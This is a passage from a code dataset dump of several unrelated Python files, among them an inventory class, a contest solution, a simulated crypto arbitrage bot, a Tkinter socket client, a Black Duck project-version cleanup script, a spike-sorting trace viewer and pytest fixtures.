:\n raise DescricaoInvalidaException(descricao)\n if preco_custo < 0:\n raise ValorInvalidoException(preco_custo)\n if preco_venda < 0:\n raise ValorInvalidoException(preco_venda)\n if quantidade < 0:\n raise ValorInvalidoException(quantidade)\n else:\n NegocioPeca.codigo += 1\n self.pecas.adicionar(Peca(NegocioPeca.codigo,descricao, fornecedor, preco_custo, preco_venda, quantidade))\n def remover(self,codigo):\n peca = self.pecas.buscar(codigo)\n if(peca != None):\n self.pecas.remover(peca)\n else:\n raise CodigoNaoEncontradoException(codigo)\n def buscar(self, codigo):\n peca = self.pecas.buscar(codigo)\n if (peca != None):\n return peca\n else:\n raise CodigoNaoEncontradoException(codigo)\n\n def __str__(self):\n return self.pecas.__str__()","sub_path":"negocio/NegocioPeca.py","file_name":"NegocioPeca.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"178485951","text":"#HackerearthSnackDownContest\n#https://www.hackerearth.com/practice/data-structures/arrays/1-d/practice-problems/algorithm/snackdown-contest/\n\n\nt= int(input())\nwhile(t>0):\n t-=1\n n=int(input())\n p=list(map(int,input().split()))\n q=list(map(int,input().split()))\n if p[0] +q[0]>= n:\n truth=[False]*n\n tr=0\n pass\n for i in range(1,len(p)):\n if not truth[p[i]-1] :\n truth[p[i]-1] =True\n tr+=1\n for i in range(1,len(q)):\n if not truth[q[i]-1] :\n truth[q[i]-1] =True\n tr+=1\n if tr==n:\n print(\"Yes\")\n else:\n print(\"No\")\n else:\n print(\"No\")","sub_path":"Hackerearthsnackdowncontest.py","file_name":"Hackerearthsnackdowncontest.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"17078413","text":"\"\"\"Class: SimBot\n\"\"\"\nimport logging\nfrom flask import g, current_app\nfrom app.main import ex_confs, pair_conf\nfrom app.lib.timer import Timer\nfrom bson import ObjectId as oid\nfrom app.main.sms import compose\nfrom app.main.socketio import smart_emit\nfrom app.main import indicators, simbooks, simex, tickers\nfrom config import PAIRS\nlog = logging.getLogger(__name__)\n\n#-------------------------------------------------------------------------------\ndef create(name, start_cad, buy_margin, sell_margin):\n r = g.db['sim_bots'].insert_one({\n 'name':name,\n 'start_balance': start_cad,\n 'rules': {\n 'buy_margin': buy_margin,\n 'sell_margin': sell_margin\n },\n 'open_holdings':[],\n 'closed_holdings':[]\n })\n\n # Create start balance w/ all API-enabled exchanges\n for conf in ex_confs():\n g.db['sim_balances'].insert_one({\n 'bot_id':r.inserted_id,\n 'ex':conf['NAME'],\n 'btc':0.0000000,\n 'eth':0.0000000,\n 'cad':start_cad/len(ex_confs())\n })\n\n log.info('Created %s bot w/ $%s balance', name, start_cad)\n\n#-------------------------------------------------------------------------------\nclass SimBot():\n \"\"\"TODO: determine volatility, adjust buy/sell margins dynamically.\n High volatility == bigger margins, low volatility == lower margins\n \"\"\"\n _id = None\n name = None\n start_balance = None\n rules = None\n\n #--------------------------------------------------------------------------\n def update(self):\n self.eval_buys()\n self.eval_sells()\n self.eval_arb()\n\n #--------------------------------------------------------------------------\n def calc_fee(self, ex, pair, price, vol):\n return ex_confs(name=ex)['TRADE_FEE'][pair] * (vol*price)\n\n #--------------------------------------------------------------------------\n def buy_market_order(self, ex, pair, ask_price, ask_vol, vol_cap=True):\n max_vol = PAIRS[pair]['MAX_VOL'] if vol_cap else ask_vol\n vol = min(max_vol, ask_vol)\n cost = round(ask_price * vol * -1, 2)\n simex.exec_trade(self._id, ex, pair, 'buy', ask_price, vol, cost)\n\n log.info('BUY order, ex=%s, pair=%s, %s=%s, %s=%s @ %s',\n ex, pair, pair[0], round(vol,2), pair[1], round(cost,2), ask_price)\n\n #--------------------------------------------------------------------------\n def sell_market_order(self, buy_trade, bid, bid_vol):\n \"\"\"Sell at bid price.\n WRITEME: handle eating through > 1 orders\n \"\"\"\n sold = list(g.db['sim_actions'].aggregate([\n {'$match':{'holding_id':buy_trade['holding_id'],'action':'sell'}},\n {'$group':{'_id':'', 'volume':{'$sum':'$volume'}}}\n ]))\n if len(sold) > 0:\n remaining = buy_trade['volume'] - sold[0]['volume']\n else:\n remaining = buy_trade['volume']\n sell_vol = min(remaining, bid_vol)\n amount = round(bid*sell_vol,2)\n\n simex.exec_trade(\n self._id, buy_trade['ex'], buy_trade['pair'], 'sell', bid,\n sell_vol, amount, hold_id=buy_trade['holding_id'])\n\n log.info('SELL order, ex=%s, %s=%s, %s=%s @ %s',\n buy_trade['ex'], buy_trade['pair'][0], round(sell_vol,2),\n buy_trade['pair'][1], round(amount,2), bid)\n return buy_trade\n\n #--------------------------------------------------------------------------\n def eval_sells(self):\n \"\"\"Evaluate each open holding, sell on margin criteria\n \"\"\"\n bot = g.db['sim_bots'].find_one({'_id':self._id})\n\n for hold_id in bot['open_holdings']:\n buy_trade = g.db['sim_actions'].find_one({'holding_id':hold_id,'action':'buy'})\n buy_trade['pair'] = tuple(buy_trade['pair'])\n bid = simbooks.get_bid(buy_trade['ex'], buy_trade['pair'])\n margin = round(bid[0] - buy_trade['price'], 2)\n\n if margin >= self.rules['sell_margin']:\n if bid[1] > 0:\n self.sell_market_order(buy_trade, bid[0], bid[1])\n smart_emit('updateBot', None)\n\n #--------------------------------------------------------------------------\n def eval_buys(self):\n \"\"\"TODO: if market average has moved and no buys for > 1 hour,\n make small buy to reset last buy price\n \"\"\"\n for conf in ex_confs():\n for pair in conf['PAIRS']:\n BUY=False\n\n prev = g.db['sim_actions'].find(\n {'bot_id':self._id, 'ex':conf['NAME'], 'pair':pair, 'action':'buy'}).sort('date',-1).limit(1)\n if prev.count() == 0:\n log.debug('no holdings for pair=%s. buying', pair)\n BUY = True\n\n #else:\n # Buy Indicator A: price dropped\n #recent_trade = holdings[-1]['trades'][0]\n #buy_margin = round(ask['price'] - recent_trade['price'],2)\n #if buy_margin <= self.rules['buy_margin']:\n # BUY = True\n\n # Buy Indicator B: low ask inertia\n book_ind = indicators.from_orders(conf['NAME'], pair)\n\n if book_ind:\n if book_ind['ask_inertia'] > 0 and book_ind['ask_inertia'] < 15:\n log.debug('action=BUY, ask_inertia=%s, book=%s, ex=%s',\n round(book_ind['ask_inertia'],2), pair, conf['NAME'])\n BUY = True\n\n if BUY:\n ask = simbooks.get_ask(conf['NAME'], pair)\n if ask[1] > 0:\n holding = self.buy_market_order(conf['NAME'], pair, ask[0], ask[1])\n smart_emit('updateBot', None)\n\n #--------------------------------------------------------------------------\n def eval_arb(self):\n \"\"\"Make cross-exchange trade if bid/ask ratio > 1.\n \"\"\"\n return\n r = g.db['sim_books'].aggregate([\n {'$group':{'_id':'$pair', 'min_ask':{'$min':'$ask'}, 'max_bid':{'$max':'$bid'}}}])\n\n for book in list(r):\n if book['max_bid']/book['min_ask'] <= 1:\n continue\n\n buy_simbook = g.db['sim_books'].find_one({'ask':book['min_ask']})\n sell_simbook = g.db['sim_books'].find_one({'bid':book['max_bid']})\n pair = buy_simbook['pair']\n # Match order volume for cross-exchange trade\n vol = min(\n simbooks.get_ask(buy_simbook['ex'], pair)[1],\n simbooks.get_bid(sell_simbook['ex'], pair)[1]\n )\n if vol == 0:\n continue\n buy_p = buy_simbook['asks'][0]['price']\n sell_p = sell_simbook['bids'][0]['price']\n # Calculate net earning\n buy_f = self.calc_fee(buy_simbook['ex'], pair, buy_p, vol)\n sell_f = self.calc_fee(sell_simbook['ex'], pair, sell_p, vol)\n pdiff = round(book['max_bid'] - book['min_ask'],2)\n earn = round(pdiff*vol,2)\n fees = round(buy_f+sell_f,2)\n net_earn = round(earn-fees,2)\n\n if net_earn <= 50:\n continue\n\n log.debug('%s=>%s pdiff=%s, v=%s, earn=%s, fees=%s, net_earn=%s',\n buy_simbook['ex'], sell_simbook['ex'], pdiff, vol, earn, fees, net_earn)\n\n if net_earn >= 100:\n msg = '%s earnings arbitrage window! %s=>%s' %(\n net_earn, buy_simbook['ex'], sell_simbook['ex'])\n log.warning(msg)\n compose(msg, current_app.config['SMS_ALERT_NUMBER'])\n\n ### WRITE ME ###\n # Balance checks:\n # ex-A: CAD >= buy_p*vol\n # ex-B: BTC >= vol\n\n holding = self.buy_market_order(\n buy_simbook['ex'],\n pair,\n buy_p,\n vol,\n vol_cap=False)\n\n # Transfer holding\n holding['exchange'] = sell_simbook['ex']\n\n self.sell_market_order(\n holding,\n sell_p,\n vol)\n\n ### WRITE ME ###\n # Balance accounts:\n # ex-A: transfer BTC=>ex-B\n # ex-B: transfer CAD=>ex-A\n\n log.info('TRADE complete, net_earn=%s', net_earn)\n smart_emit('updateBot',None)\n\n #--------------------------------------------------------------------------\n def holdings(self):\n \"\"\"SLOW!!!\n \"\"\"\n bot = g.db['sim_bots'].find_one({'_id':self._id})\n results = []\n\n for hold_id in bot['open_holdings'] + bot['closed_holdings']:\n b = g.db['sim_actions'].find_one({'holding_id':hold_id})\n s = list(g.db['sim_actions'].aggregate([\n {'$match':{'holding_id':hold_id, 'action':'sell'}},\n {'$group':{\n '_id':'',\n 'price': {'$avg':'$price'},\n 'fees': {'$sum':'$fee'},\n 'volume': {'$sum':'$volume'},\n 'revenue':{'$sum':'$amount'},\n 'last_date':{'$max':'$date'}\n }}\n ]))\n\n results.append({\n 'ex':b['ex'],\n 'pair':b['pair'],\n 'open_date':b['date'],\n 'volume':b['volume'],\n 'buy_price':b['price'],\n 'cost':b['amount'],\n 'status':b['status'],\n 'volume_sold': s[0]['volume'] if len(s)>0 else None,\n 'balance':b['volume'] - (s[0]['volume'] if len(s)>0 else 0),\n 'sell_price': s[0]['price'] if len(s)>0 else None,\n 'revenue':s[0]['revenue'] if len(s)>0 else None,\n 'fees': b['fee'] + (s[0]['fees'] if len(s)>0 else 0),\n 'close_date': s[0]['last_date'] if len(s)>0 and b['status']=='closed' else None\n })\n return results\n\n #--------------------------------------------------------------------------\n def balance(self, ex=None):\n query = {'bot_id':self._id}\n if ex:\n query['ex'] = ex\n balance = g.db['sim_balances'].aggregate([\n {'$match':query},\n {'$group':{\n '_id':'', 'cad':{'$sum':'$cad'}, 'btc':{'$sum':'$btc'}, 'eth':{'$sum':'$eth'}\n }}\n ])\n return list(balance)\n\n #--------------------------------------------------------------------------\n def stats(self, exch=None):\n \"\"\"Return simulation stats to client.\n \"\"\"\n balance = self.balance()\n\n if len(balance) > 0:\n balance = balance[0]\n t1 = tickers.summary('QuadrigaCX', ('btc','cad'))\n btc_value = balance['btc'] * float(t1['last'])\n t2 = tickers.summary('QuadrigaCX', ('eth','cad'))\n eth_value = balance['eth'] * float(t2['last'])\n\n return {\n 'cad': balance['cad'],\n 'btc': balance['btc'],\n 'eth': balance['eth'],\n 'btc_value': btc_value,\n 'eth_value': eth_value,\n 'traded': balance['cad'] + btc_value + eth_value\n }\n\n #--------------------------------------------------------------------------\n def __init__(self, name):\n \"\"\"Load bot properties from Mongo\n \"\"\"\n bot = g.db['sim_bots'].find_one({'name':name})\n self._id = bot['_id']\n self.rules = bot['rules']\n self.start_balance = bot['start_balance']\n self.name = name\n","sub_path":"app/main/simbot.py","file_name":"simbot.py","file_ext":"py","file_size_in_byte":11570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"206094836","text":"#################################################################################\n#CLASS FILE FOR IMPORT ONLY \n#Release 1.0\n#Author: M. Revie Gill\n#This code is open source and can be used in whole or in part in any way:\n#This includes for profit as well as non-profit\n##################################################################################\n#Class Usage:\n#Generates a basic cleint GUI that prompts for server ip and destination port\n#Designed to be molded on other parent windows\n#**********************************************************************************\n#**********************************************************************************\n#Instance Creation model flow:\n#instance = socketGUI(*defined TK root*,*protocol*) ------> Create class instance\n#*defined TK root*.title('TITLE HERE') ------> Specify client app title\n#*defined TK root*.mainloop() ----> Window Creation\n#*protocol* string passed to object is either 'TCP' or 'UDP' ---> defined protocol \n#**********************************************************************************\n#**********************************************************************************\n#----------------------------------------------------------------------------------\n#Establishes basic connectivity with specified server.\n#Any advanced data transfer over the socket must be specified in the top level code\n#----------------------------------------------------------------------------------\nfrom tkinter import *\nimport socket\nimport ipaddress #Convert string to usable ip \nimport time #for timeouts\n\nclass socketGUI: \n\n def __init__(self,parwindow,protocol):\n self.protocol = protocol\n self.template = Frame(parwindow)\n self.template.pack()\n self.widgets(parwindow,self.protocol)\n\n def widgets(self,parwindow,protocol):\n Label(self.template,text='Server IP: ').grid(row=0,column=0)\n Label(self.template,text='Server Port: ').grid(row=1,column=0)\n \n self.ipentry = Entry(self.template)\n self.portentry = Entry(self.template)\n self.ipentry.grid(row=0,column=1) #Define the layout and widget variable separately. Otherwise the .grid would caouse the vars to return none\n self.portentry.grid(row=1,column=1) #If they return none then there is not text to pull\n self.status = Label(self.template, text='')\n self.status.grid(row=2,column=1)\n\n self.buttnframe = Frame(parwindow)\n self.buttnframe.pack()\n Connectbtn = Button(self.buttnframe,text='CONNECT',command=lambda:self.clientsocket(self.status,self.ipentry,self.portentry,protocol)).pack()\n Quitbtn = Button(self.buttnframe,text='QUIT',command=exit).pack() #^^Use lambda as we pass in arguments to the callback function\n \n #Called upon when submit button is pushed\n def clientsocket(self,status,ipentry,portentry,protocol):\n #Define ip and port\n self.ip = str(ipaddress.ip_address(self.ipentry.get()))\n self.port = int(self.portentry.get())\n if self.ip is '' or self.port is '': #stop function if values are null \n return\n \n if protocol is 'TCP': #Decide TCP or UDP, Sockets defined in functions below \n self.TCPsock(status,self.ip,self.port)\n elif protocol is 'UDP':\n self.UDPsock(status,self.ip,self.port)\n \n \n def TCPsock(self,status,ip,port):\n tcpsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n tcpsock.settimeout(10) #Timeout if nothing recv after 10 seconds\n\n try:\n tcpsock.connect((self.ip,self.port))\n tcpsock.send(b'Connection to client received')\n except:\n self.status.config(text='Unable to Connect to Server')\n return\n\n while True:\n tcpsock.recv(1024)\n tcpsock.send(b'TCP KEEPALIVE')\n time.sleep(5.0)\n\n#Finish the UDP SOCKET CREATION\n def UDPsock(self,status,ip,port):\n udpsock = socket(AF_INET,SOCK_DGRAM)\n udpsock.settimeout(10)\n \n try:\n updsock.sendto(self.ip, 'HELLO')\n except:\n self.status.config(text='Unable to Connect to Server')\n return\n \n \n#Example\n#parentwin = Tk()\n#mygui = socketGUI(parentwin,'UDP')\n#parentwin.title('BOOOOOOOM') #set parent window title\n#parentwin.mainloop()\n\n\n \n","sub_path":"Class-Files/clisockUIbase.py","file_name":"clisockUIbase.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"381157326","text":"# -*- coding: utf-8 -*-\nfrom distutils.core import setup\n\nimport re\nfrom setuptools import setup\n\nversion = re.search(\n '^__version__\\s*=\\s*\"(.*)\"',\n open('fwdocker/fwdocker.py').read(),\n re.M\n).group(1)\n\n\nsetup(\n name = 'fwdocker',\n packages = ['fwdocker'], # this must be the same as the name above\n version = version,\n entry_points = {\n \"console_scripts\": ['fwdocker = fwdocker.fwdocker:main']\n },\n description = 'A wrapper/utility to make it easy to use FileWave with Docker',\n author = 'John Clayton',\n author_email = 'johnc@filewave.com',\n url = 'https://github.com/fw-dev/fwdocker', # use the URL to the github repo\n download_url = 'https://github.com/johncclayton/fwdocker/tarball/0.1', # I'll explain this in a second\n keywords = ['filewave', 'docker', 'mdm', 'distribution'], # arbitrary keywords\n classifiers = [],\n license=\"Apache\",\n package_data= {\n # bring in the docker-compose example yml files.\n '': ['*.yml']\n },\n install_requires=[ 'docker-py>=1.8' ]\n)\n","sub_path":"archive/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"2472029","text":"'''\nCreated on Nov 13, 2018\n\n@author: gsnyder\n\nGiven a project name, a version name, delete the project-version and any scans associated with it\n\n'''\nfrom blackduck.HubRestApi import HubInstance\nfrom pprint import pprint\n\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"project_name\")\nparser.add_argument(\"version_name\")\n\nargs = parser.parse_args()\n\nhub = HubInstance()\n\nprojects = hub.get_projects(parameters={'q':\"name:{}\".format(args.project_name)})\n\nif 'totalCount' in projects and projects['totalCount'] > 0:\n\tproject = projects['items'][0]\n\tproject_versions = hub.get_project_versions(\n\t\tproject, \n\t\tparameters={'q':\"versionName:{}\".format(args.version_name)}\n\t)\n\n\tproject_version_codelocations = None\n\tif 'totalCount' in project_versions and project_versions['totalCount'] == 1:\n\t\tproject_version = project_versions['items'][0]\n\t\tproject_version_codelocations = hub.get_version_codelocations(project_version)\n\n\t\tif 'totalCount' in project_version_codelocations and project_version_codelocations['totalCount'] > 0:\n\t\t\tcode_location_urls = [c['_meta']['href'] for c in project_version_codelocations['items']]\n\t\t\tfor code_location_url in code_location_urls:\n\t\t\t\tprint(\"Deleting code location at: {}\".format(code_location_url))\n\t\t\t\thub.execute_delete(code_location_url)\n\t\t\tprint(\"Deleting project-version at: {}\".format(project_version['_meta']['href']))\n\t\t\thub.execute_delete(project_version['_meta']['href'])\n\t\telse:\n\t\t\tprint(\"Did not find any codelocations (scans) in version {} of project {}\".format(args.version_name, args.project_name))\n\telse:\n\t\tprint(\"Did not find version with name {} in project {}\".format(args.version_name, args.project_name))\nelse:\n\tprint(\"Did not find project with name {}\".format(args.project_name))","sub_path":"examples/delete_project_version_and_scans.py","file_name":"delete_project_version_and_scans.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"300578031","text":"import pyqtgraph as pg\nfrom pyqtgraph.Qt import QtCore, QtGui\n\nimport numpy as np\nimport pandas as pd\n\nfrom .base import WidgetBase\nfrom .tools import TimeSeeker\nfrom ..tools import median_mad\nfrom ..dataio import _signal_types\n\n\n\nclass MyViewBox(pg.ViewBox):\n doubleclicked = QtCore.pyqtSignal()\n gain_zoom = QtCore.pyqtSignal(float)\n xsize_zoom = QtCore.pyqtSignal(float)\n def __init__(self, *args, **kwds):\n pg.ViewBox.__init__(self, *args, **kwds)\n #~ self.disableAutoRange()\n def mouseClickEvent(self, ev):\n ev.accept()\n def mouseDoubleClickEvent(self, ev):\n self.doubleclicked.emit()\n ev.accept()\n def mouseDragEvent(self, ev):\n ev.ignore()\n def wheelEvent(self, ev):\n if ev.modifiers() == QtCore.Qt.ControlModifier:\n z = 10 if ev.delta()>0 else 1/10.\n else:\n z = 1.3 if ev.delta()>0 else 1/1.3\n self.gain_zoom.emit(z)\n ev.accept()\n def mouseDragEvent(self, ev):\n ev.accept()\n self.xsize_zoom.emit((ev.pos()-ev.lastPos()).x())\n\n\nclass BaseTraceViewer(WidgetBase):\n \n def __init__(self, spikesorter = None, shared_view_with = [], \n mode = 'memory', signal_type = 'filtered', parent=None):\n WidgetBase.__init__(self, parent)\n \n self.spikesorter = spikesorter\n self.dataio = self.spikesorter.dataio\n self.mode = mode\n self.signal_type = signal_type\n \n self.layout = QtGui.QVBoxLayout()\n self.setLayout(self.layout)\n \n # Can share view with other trace viewer : simultanetly view filter + full band\n self.shared_view_with = shared_view_with\n\n self.create_toolbar()\n self.layout.addWidget(self.toolbar)\n \n # create graphic view and plot item\n self.graphicsview = pg.GraphicsView()\n self.layout.addWidget(self.graphicsview)\n self.initialize_plot()\n \n \n #handle time by segments\n t_starts = self.dataio.segments_range.loc[:, ('filtered','t_start')].copy()\n self.time_by_seg = pd.Series(t_starts, name = 'time', index = self.dataio.segments_range.index)\n \n _params = [{'name': 'auto_zoom_on_select', 'type': 'bool', 'value': True },\n {'name': 'zoom_size', 'type': 'float', 'value': 0.08, 'step' : 0.001 },\n {'name': 'plot_threshold', 'type': 'bool', 'value': True },\n ]\n self.params = pg.parametertree.Parameter.create( name='Global options', type='group', children = _params)\n self.params.param('plot_threshold').sigValueChanged.connect(self.refresh)\n self.tree_params = pg.parametertree.ParameterTree(parent = self)\n self.tree_params.header().hide()\n self.tree_params.setParameters(self.params, showTop=True)\n self.tree_params.setWindowTitle(u'Options for signal viewer')\n self.tree_params.setWindowFlags(QtCore.Qt.Window)\n \n self.change_segment(0)\n self.refresh()\n \n def create_toolbar(self):\n tb = self.toolbar = QtGui.QToolBar()\n \n #Segment selection\n self.combo_seg = QtGui.QComboBox()\n tb.addWidget(self.combo_seg)\n self.combo_seg.addItems([ 'Segment {}'.format(seg_num) for seg_num in self.dataio.segments_range.index ])\n self._seg_pos = 0\n self.seg_num = self.dataio.segments_range.index[self._seg_pos]\n self.combo_seg.currentIndexChanged.connect(self.on_combo_seg_changed)\n tb.addSeparator()\n \n self.combo_type = QtGui.QComboBox()\n tb.addWidget(self.combo_type)\n self.combo_type.addItems([ signal_type for signal_type in _signal_types ])\n self.combo_type.currentIndexChanged.connect(self.on_combo_type_changed)\n\n # time slider\n self.timeseeker = TimeSeeker()\n tb.addWidget(self.timeseeker)\n self.timeseeker.time_changed.connect(self.seek)\n \n # winsize\n self.xsize = .5\n tb.addWidget(QtGui.QLabel(u'X size (s)'))\n self.spinbox_xsize = pg.SpinBox(value = self.xsize, bounds = [0.001, 10.], suffix = 's', siPrefix = True, step = 0.1, dec = True)\n #~ self.spinbox_xsize = pg.SpinBox(value = self.xsize, bounds = [0.001, 10.]) # step = 0.1, dec = True)\n self.spinbox_xsize.sigValueChanged.connect(self.xsize_changed)\n tb.addWidget(self.spinbox_xsize)\n tb.addSeparator()\n self.spinbox_xsize.sigValueChanged.connect(self.refresh)\n \n #\n but = QtGui.QPushButton('auto scale')\n but.clicked.connect(self.auto_scale)\n tb.addWidget(but)\n but = QtGui.QPushButton('settings')\n but.clicked.connect(self.open_settings)\n tb.addWidget(but)\n self.select_button = QtGui.QPushButton('select', checkable = True)\n tb.addWidget(self.select_button)\n \n self._create_toolbar()\n \n\n def initialize_plot(self):\n self.viewBox = MyViewBox()\n self.plot = pg.PlotItem(viewBox=self.viewBox)\n self.graphicsview.setCentralItem(self.plot)\n self.plot.hideButtons()\n self.plot.showAxis('left', False)\n \n self.viewBox.gain_zoom.connect(self.gain_zoom)\n self.viewBox.xsize_zoom.connect(self.xsize_zoom)\n \n \n self.curves = []\n self.channel_labels = []\n self.threshold_lines =[]\n self.scatters = []\n for c in range(self.dataio.nb_channel):\n color = '#7FFF00' # TODO\n curve = pg.PlotCurveItem(pen=color)\n self.plot.addItem(curve)\n self.curves.append(curve)\n label = pg.TextItem(str(self.dataio.info['channels'][c]), color=color, anchor=(0, 0.5), border=None, fill=pg.mkColor((128,128,128, 180)))\n self.plot.addItem(label)\n self.channel_labels.append(label)\n \n tc = pg.InfiniteLine(angle = 0., movable = False, pen = pg.mkPen('w'))\n tc.setPos(0.)\n self.threshold_lines.append(tc)\n self.plot.addItem(tc)\n tc.hide()\n \n self.scatters.append({})\n \n self._initialize_plot()\n \n self.gains = None\n self.offsets = None\n\n def open_settings(self):\n if not self.tree_params.isVisible():\n self.tree_params.show()\n else:\n self.tree_params.hide()\n \n\n def prev_segment(self):\n self.change_segment(self._seg_pos - 1)\n \n def next_segment(self):\n self.change_segment(self._seg_pos + 1)\n\n def change_segment(self, seg_pos):\n self._seg_pos = seg_pos\n if self._seg_pos<0:\n self._seg_pos = self.dataio.segments_range.shape[0]-1\n if self._seg_pos == self.dataio.segments_range.shape[0]:\n self._seg_pos = 0\n self.seg_num = self.dataio.segments_range.index[self._seg_pos]\n self.combo_seg.setCurrentIndex(self._seg_pos)\n \n lims = self.dataio.segments_range.xs(self.signal_type, axis=1).loc[self.seg_num]\n \n if self.mode == 'memory':\n self.sigs = self.dataio.get_signals(seg_num = self.seg_num, t_start = lims['t_start'], \n t_stop = lims['t_stop'], signal_type = self.signal_type)\n elif self.mode == 'file':\n self.sigs = None\n \n self.load_peak_or_spiketrain()\n\n self.timeseeker.set_start_stop(lims['t_start'], lims['t_stop'], seek = False)\n #~ self.timeseeker.seek(self.time_by_seg[self.seg_num], emit = False)\n\n if self.isVisible():\n self.refresh()\n\n \n def on_combo_seg_changed(self):\n s = self.combo_seg.currentIndex()\n for otherviewer in self.shared_view_with:\n otherviewer.combo.setCurrentIndex(s)\n self.change_segment(s)\n \n def on_combo_type_changed(self):\n s = self.combo_type.currentIndex()\n self.signal_type = _signal_types[s]\n self.change_segment(self._seg_pos)\n \n \n def xsize_changed(self):\n self.xsize = self.spinbox_xsize.value()\n for otherviewer in self.shared_view_with:\n otherviewer.spinbox_xsize.setValue(self.xsize)\n if self.isVisible():\n self.refresh()\n \n def refresh(self):\n self.seek(self.time_by_seg[self.seg_num], cascade = False)\n\n def xsize_zoom(self, xmove):\n factor = xmove/100.\n newsize = self.xsize*(factor+1.)\n limits = self.spinbox_xsize.opts['bounds']\n if newsize>0. and newsize=t1) & (self.spiketrains['time']<=t2)\n inwindow_label = self.spiketrains[mask]['label'].values\n inwindow_times = self.spiketrains[mask]['time'].values\n \n inwindow_selected = np.zeros(inwindow_label.shape, dtype = bool)\n \n return inwindow_times, inwindow_label, inwindow_selected\n\n def _plot_prediction(self,t1, t2, chunk, ind1):\n prediction = np.zeros(chunk.shape)\n \n mask = (self.spiketrains['time']>=t1) & (self.spiketrains['time']<=t2)\n spiketrains = self.spiketrains[mask]\n spike_pos = spiketrains.index-ind1\n labels = spiketrains['label'].values\n jitters = spiketrains['jitter'].values\n\n length = self.spikesorter.limit_right - self.spikesorter.limit_left\n catalogue = self.spikesorter.catalogue\n for i in range(spike_pos.size):\n pos = spike_pos[i] + self.spikesorter.limit_left\n if pos+length>=prediction.shape[0]: continue\n if pos<0: continue\n \n k = labels[i]\n if k<0: continue\n wf0 = catalogue[k]['center']\n wf1 = catalogue[k]['centerD']\n wf2 = catalogue[k]['centerDD']\n pred = wf0 + jitters[i]*wf1 + jitters[i]**2/2*wf2\n \n prediction[pos:pos+length, :] = pred.reshape(self.dataio.nb_channel, -1).transpose()\n \n # plotting tricks\n prediction *=self.mad\n prediction += self.med\n residuals = chunk.values - prediction\n residuals += self.med\n \n for c in range(self.dataio.nb_channel):\n if self.plot_buttons['prediction'].isChecked():\n self.curves_prediction[c].setData(chunk.index.values, prediction[:, c]*self.gains[c]+self.offsets[c])\n else:\n self.curves_prediction[c].setData([], [])\n \n if self.plot_buttons['residual'].isChecked():\n self.curves_residuals[c].setData(chunk.index.values, residuals[:, c]*self.gains[c]+self.offsets[c])\n else:\n self.curves_residuals[c].setData([], [])\n \n if not self.plot_buttons['signals'].isChecked():\n self.curves[c].setData([], [])\n\n def on_peak_selection_changed(self):\n selected_peaks = self.spikesorter.peak_selection[self.spikesorter.peak_selection]\n if self.params['auto_zoom_on_select'] and selected_peaks.shape[0]==1:\n seg_num, time= selected_peaks.index[0]\n if seg_num != self.seg_num:\n seg_pos = self.dataio.segments_range.index.tolist().index(seg_num)\n self.combo_seg.setCurrentIndex(seg_pos)\n self.spinbox_xsize.setValue(self.params['zoom_size'])\n self.seek(time)\n else:\n self.refresh()\n \n def item_clicked(self, plot, points):\n if self.select_button.isChecked()and len(points)==1:\n x = points[0].pos().x()\n self.spikesorter.peak_selection[:] = False\n self.spikesorter.peak_selection.loc[(self.seg_num, x)] = True\n \n self.peak_selection_changed.emit()\n self.refresh()\n\n","sub_path":"tridesclous/gui/traceviewer.py","file_name":"traceviewer.py","file_ext":"py","file_size_in_byte":19934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"541009201","text":"import os\nfrom typing import Generator\n\nimport motor\nimport pytest\nfrom aiokafka import AIOKafkaProducer\nfrom app.db.redis import RedisDataBase\n\nfrom app.models.kline import KLine\nfrom app.models import EventLog\nfrom fastapi.testclient import TestClient\nfrom app.main import app\n\n\n@pytest.fixture(scope=\"module\")\ndef client() -> Generator:\n with TestClient(app) as c:\n yield c\n\n\n@pytest.fixture(scope=\"module\")\ndef kafka_producer() -> AIOKafkaProducer:\n import asyncio\n\n loop = asyncio.get_event_loop()\n producer = AIOKafkaProducer(\n loop=loop,\n client_id=\"eventer-01\",\n bootstrap_servers=\"kafka://kafka:19092\",\n api_version=\"2.0.1\"\n )\n asyncio.wait_for(producer.start, 10)\n return producer\n\n\n@pytest.fixture(scope=\"module\")\ndef order_create() -> EventLog:\n return EventLog(\n event=\"OrderRest\",\n order_id=1,\n side=1,\n market=\"BALICD\",\n price=\"0.0034\",\n size=\"1.223\",\n user=\"hxcd6f04b2a5184715ca89e523b6c823ceef2f9c3d\",\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef test_user():\n return {\n \"user\": {\n \"email\": \"user1@example.com\",\n \"password\": \"string1\",\n \"username\": \"string1\"\n }\n }\n\n\n@pytest.fixture(scope=\"session\")\ndef test_client(test_user):\n from app.main import app\n with TestClient(app) as test_client:\n yield test_client\n\n db = get_mongodb()\n db[\"insight_test\"][\"person\"].delete_one({\"username\": test_user[\"user\"][\"username\"]})\n\n\ndef get_mongodb():\n mongoClient = motor.motor_asyncio.AsyncIOMotorClient(\"mongodb\", 27017)\n return mongoClient\n\n\n@pytest.fixture(scope=\"module\")\ndef kline() -> KLine:\n return KLine()\n\n\n@pytest.fixture(scope=\"function\")\nasync def get_redis_client():\n import asyncio\n import aioredis\n\n redis = RedisDataBase()\n redis.client = await asyncio.wait_for(aioredis.create_redis_pool(\"redis://localhost:6379\"), 3)\n return redis.client\n\n\n# @pytest.fixture(scope=\"function\")\n# def test_init(monkeypatch):\n# def ok():\n# monkeypatch.chdir(os.path.abspath(os.path.dirname(__file__)))\n# # input_data = FileUtils.load_params_from_json(os.path.join(PATH, input_file))\n# # expected_data = FileUtils.load_params_from_json(os.path.join(PATH, 